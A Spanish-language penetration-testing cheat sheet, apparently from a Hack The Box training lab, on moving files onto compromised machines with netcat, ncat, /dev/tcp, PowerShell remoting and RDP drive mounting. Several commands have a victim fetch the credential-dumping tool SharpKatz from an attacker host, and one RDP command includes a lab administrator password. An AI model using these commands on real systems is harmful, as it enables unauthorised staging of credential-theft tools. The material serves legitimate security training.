Netcat / Ncat
Máquina víctima escuchando por un puerto
terminal
$ nc -l -p 8000 > SharpKatz.exe$ ncat -l -p 8000 --recv-only > SharpKatz.exe
Máquina atacante envía el archivo
terminal
$ nc -q 0 192.168.49.128 8000 < SharpKatz.exe$ ncat --send-only 192.168.49.128 8000 < SharpKatz.exe
La opción -q 0 cierra la conexion una vez se acabe de enviar el archivo. La opción --send-only asegura que Ncat termine la conexión al agotar el input
Escenario: atacante escuchando y víctima conectándose
Atacante escuchando:
terminal
$ sudo nc -l -p 443 -q 0 < SharpKatz.exe$ sudo ncat -l -p 443 --send-only < SharpKatz.exe
Víctima conectándose:
terminal
$ nc 192.168.49.128 443 > SharpKatz.exe$ ncat 192.168.49.128 443 --recv-only > SharpKatz.exe
Usando /dev/tcp (víctima)
terminal
$ cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exe
Powershell Session
Requisitos: WinRM habilitado, privilegios adecuados, puertos TCP/5985 (HTTP) o TCP/5986 (HTTPS).
- Verificar conectividad con WinRM
powershell
Test-NetConnection -ComputerName DATABASE01 -Port 5985
powershell
$Session = New-PSSession -ComputerName DATABASE01
- Transferir archivos con Copy-Item
powershell
Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\
Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session
powershell
Get-PSSession
Remove-PSSession -Session $Session
RDP
Montamos un recurso local con xfreerdp usando el flag /drive
terminal
$ xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer
En la máquina remota, accede al recurso a través de \tsclientlinux